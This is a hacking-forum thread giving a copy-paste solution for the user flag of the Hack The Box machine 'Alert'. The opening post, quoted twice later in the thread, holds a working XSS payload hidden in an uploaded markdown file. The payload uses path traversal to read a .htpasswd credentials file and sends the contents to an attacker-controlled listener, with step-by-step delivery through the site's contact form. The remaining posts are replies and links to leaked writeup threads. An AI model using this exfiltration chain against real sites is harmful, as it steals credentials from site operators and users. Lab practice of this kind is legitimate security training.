HTB alert (user)
by SSKK - Thursday November 28, 2024 at 05:44 AM
#1
upload this md file to the alert.htb

<script> fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")   .then(response => response.text())   .then(data => {     fetch("http://10.10.xx.xx:80/?file_content=" + encodeURIComponent(data));   }); </script>

On localhost  -->
python3 -m http.server 80

after clicking on View Markdown click on Share Markdown

then copy the link of that shared markdown url and paste it in the Contact Us page and send it.

you'll get something like this [Image: Screenshot.png]


doneeeee
Reply
#2
thanks for the post explaining this! was stuck here for a bit.
Reply
#3
(11-28-2024, 05:44 AM)SSKK Wrote: upload this md file to the alert.htb

<script> fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")   .then(response => response.text())   .then(data => {     fetch("http://10.10.xx.xx:80/?file_content=" + encodeURIComponent(data));   }); </script>

Hi! How did you discover LFI vulnerability in 'http://alert.htb/messages.php?file='?
Reply
#4
(11-28-2024, 05:44 AM)SSKK Wrote: upload this md file to the alert.htb

<script> fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")   .then(response => response.text())   .then(data => {     fetch("http://10.10.xx.xx:80/?file_content=" + encodeURIComponent(data));   }); </script>

On localhost  -->
python3 -m http.server 80

after clicking on View Markdown click on Share Markdown

then copy the link of that shared markdown url and paste it in the Contact Us page and send it.

you'll get something like this [Image: Screenshot.png]


doneeeee

Thanks man, much appreciated
Ban reason: Leeching | http://raiddfzn73ir6iyxlf7nwytnujiflddog...an-Appeals if you feel this is incorrect. (Permanent)
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 361 98,508 Today, 01:37 AM
Last Post: memerman123
  [FREE] HTB-ProLabs APTLABS Just Flags kewlsunny 24 9,445 07-12-2026, 04:10 AM
Last Post: cookky1
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 87 14,983 03-27-2026, 07:22 PM
Last Post: stn
  HTB Eloquia User and Root Flags - Insane Box 69646B 13 7,284 03-27-2026, 06:14 PM
Last Post: vlxw
  HTB - ALL Challenges you Stuck in osamy7593 2 7,510 03-27-2026, 04:24 PM
Last Post: catsweet



 Users browsing this thread: